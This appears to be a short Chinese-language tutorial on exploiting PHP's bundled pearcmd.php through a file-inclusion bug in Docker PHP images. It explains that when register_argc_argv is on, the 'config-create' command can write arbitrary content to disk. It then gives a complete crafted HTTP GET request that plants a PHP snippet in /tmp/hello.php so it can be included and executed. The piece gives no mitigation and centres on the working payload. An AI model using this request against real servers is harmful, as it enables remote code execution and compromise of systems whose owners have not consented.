pecl是PHP中用於管理擴展而使用的命令行工具,而pear是pecl依賴的類庫。在7.3及以前,pecl/pear是默認安裝的;
在7.4及以后,需要我們在編譯PHP的時候指定--with-pear才會安裝。
不過,在Docker任意版本鏡像中,pcel/pear都會被默認安裝,安裝的路徑在/usr/local/lib/php。
要利用這個pearcmd.php需要滿足幾個條件
- 要開啟
register_argc_argv
這個選項在Docker中使自動開啟的 - 要有文件包含的利用
我們再來看一下pearcmd.php可以接受哪些命令
看到config-create,閱讀其代碼和幫助,可以知道,這個命令需要傳入兩個參數,其中第二個參數是寫入的文件路徑,第一個參數會被寫入到這個文件中。
所以最后構造出報文:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
上面報文的意義是寫到/tmp/hello.php,然后我們再使用文件包含進行包含我們之前寫入的文件就可以了